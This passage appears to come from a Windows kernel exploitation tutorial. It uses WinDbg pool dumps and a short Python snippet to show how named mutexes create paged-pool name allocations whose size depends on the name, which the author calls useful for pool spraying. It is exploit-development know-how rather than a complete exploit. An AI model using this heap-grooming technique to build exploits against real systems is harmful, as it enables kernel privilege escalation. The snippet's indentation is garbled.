 851ef348 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef398 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef3e8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef438 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef488 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef4d8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef528 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef578 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef5c8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef618 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef668 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef6b8 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 851ef708 size:   50 previous size:   50  (Allocated)  Muta (Protected)

So what changes if we give a name to the Mutex? Here is another Python code for that:

def alloc_named_mutex(i):
        hHandle = HANDLE(0)
hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool " + str(i))
if hHandle == None:
                print "[-] Error while creating mutex"
sys.exit()
print hex(hHandle)

I pass an argument, as that will be important if we want to use this for spraying, because we can't create two mutexes with the same name.

Once we create the mutex, and we follow the same logic as before, we can see a bit difference:
*871d39e8 size:   60 previous size:   30  (Allocated) *Muta (Protected)
Pooltag Muta : Mutant objects

This time it takes 0x60 bytes, and it will be consistent. We can do the same spraying etc... but with a different size. There is something here that will be important. If we take a look at the pool allocation, we can see that thee is a pointer at offset 0x20 from the beginning of the pool chunk, to the name of the Mutex:

lkd> dd 871d39e8 
871d39e8  040c0006 e174754d 00000000 00000050
871d39f8  00000000 00000000 9a06fb38 002e002e
871d3a08  aab50528 00000000 00000002 00000001
871d3a18  00000000 000a000e 86e0bd80 99a4fc07
871d3a28  0008bb02 00000001 871d3a30 871d3a30
871d3a38  00000001 00000000 00000000 01d10000
871d3a48  040b000c 6d4d6956 b299b8c8 9a087020
871d3a58  a8246340 00000000 00000000 85d4f0b0

lkd> dd aab50528
aab50528  006f0050 006c006f 00730020 00720070
aab50538  00790061 006e0069 00200067 00730069
aab50548  00630020 006f006f 0020006c 006f0031

lkd> dS aab50528
006c006f  "????????????????????????????????"
006c00af  "????????"

My WinDBG doesn't want to print the name, but if you take a look at the UNICODE in hex, this is the name we gave to the Mutex. If we check where this string is stored:

lkd> !pool aab50528
Pool page aab50528 region is Paged pool
 aab50000 size:   a8 previous size:    0  (Allocated)  CMDa
 aab500a8 size:   28 previous size:   a8  (Free)       3.7.
 aab500d0 size:   28 previous size:   28  (Allocated)  NtFs
 aab500f8 size:   28 previous size:   28  (Allocated)  MmSm
 aab50120 size:   38 previous size:   28  (Allocated)  CMnb Process: 86ef6760
 aab50158 size:  100 previous size:   38  (Allocated)  IoNm
 aab50258 size:   38 previous size:  100  (Allocated)  CMDa
 aab50290 size:   38 previous size:   38  (Allocated)  CMNb (Protected)
 aab502c8 size:   28 previous size:   38  (Allocated)  MmSm
 aab502f0 size:   20 previous size:   28  (Allocated)  CMNb (Protected)
 aab50310 size:   60 previous size:   20  (Allocated)  Key  (Protected)
 aab50370 size:   20 previous size:   60  (Allocated)  SeAt
 aab50390 size:   d8 previous size:   20  (Allocated)  FMfn
 aab50468 size:   28 previous size:   d8  (Allocated)  CMVa
 aab50490 size:   30 previous size:   28  (Allocated)  CMVa
 aab504c0 size:   60 previous size:   30  (Allocated)  Key  (Protected)
*aab50520 size:   38 previous size:   60  (Allocated) *ObNm
Pooltag ObNm : object names, Binary : nt!ob

It's in the paged pool! I will come back to this later, but I will give some spoiler here: We can create custom size allocations in the paged pool area with using named Mutexes, and the size will depend on the name we give. Super useful for spraying in the paged pool.